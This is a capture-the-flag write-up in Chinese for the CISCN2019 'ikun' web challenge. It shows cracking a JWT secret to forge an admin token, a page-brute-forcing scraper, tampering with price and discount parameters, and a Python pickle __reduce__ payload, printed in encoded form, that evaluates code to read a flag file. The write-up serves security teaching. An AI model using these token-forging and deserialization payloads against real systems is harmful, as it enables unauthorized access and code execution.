[CISCN2019 华北赛区 Day1 Web2]ikun

考点

JWT
逻辑漏洞
tornado代码审计
pickle反序列化

wp

注册登录，提示剩余金额1000，并且在cookie中有JWT字段

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWEifQ.bJejEdbt0h9U-vvnfoUAF7JFOPy0o6LqHQnITMhYL2I

在jwt.io上看一下，提示需要密钥

可以使用jwtcrack破解密钥，结果是1Kun，username改成admin，重新生成JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

回到个人中心，可以看到提示

>>> s='\\u8fd9\\u7f51\\u7ad9\\u4e0d\\u4ec5\\u53ef\\u4ee5\\u4ee5\\u8585\\u7f8a\\u6bdb\\uff0c\\u6211\\u8fd8\\u7559\\u4e86\\u4e2a\\u540e\\u95e8\\uff0c\\u5c31\\u85cf\\u5728\\u006c\\u0076\\u0036\\u91cc'
>>> s.encode('utf8').decode('unicode_escape')
'这网站不仅可以以薅羊毛，我还留了个后门，就藏在lv6里'

然后找lv6在哪儿，写爬虫爆破，在181页

import requests

url = 'http://d34fe1a5-ca55-4b0b-9f8e-52d8f8a89f48.node4.buuoj.cn:81/shop?page=2'

for i in range(1,999999):
    url = f'http://d34fe1a5-ca55-4b0b-9f8e-52d8f8a89f48.node4.buuoj.cn:81/shop?page={str(i)}'
    r = requests.get(url)
    if '/static/img/lv/lv6' in r.text:
        print(url)
        break

给的钱不够，应该是个逻辑漏洞，抓包看看，在结算的时候，有个折扣的参数，这里是打了8折

把price和discount都改成很低，看到返回了一个地址：/b1g_m4mber

直接访问可以看到提示，给了源码

static/asd1f654e683wq/www.zip下载源码，直接找路由吧，在sshop/views/__init__.py文件下

handlers = [
    (r'/', ShopIndexHandler),
    (r'/shop', ShopListHandler),
    (r'/info/(\d+)', ShopDetailHandler),
    (r'/shopcar', ShopCarHandler),
    (r'/shopcar/add', ShopCarAddHandler),
    (r'/pay', ShopPayHandler),
    (r'/user', UserInfoHandler),
    (r'/user/change', changePasswordHandler),
    (r'/pass/reset', ResetPasswordHanlder),
    (r'/login', UserLoginHanlder),
    (r'/logout', UserLogoutHandler),
    (r'/register', RegisterHandler),
    (r'/b1g_m4mber', AdminHandler)
]

发现在AdminHandler中调用了pickle.loads，由此切入

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

pickle.loads把字符串转换成对象，get_argument用于获取GET或POST的参数，urllib.unquote是python2的用法，然后就可以构造pickle反序列化了

# python2
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到结果

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

回到/b1g_m4mber，把输入框的hidden删掉

提交payload

结果

小结

破解JWT的密钥可以使用jwtcrack，在kali中使用

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最后更新于3年前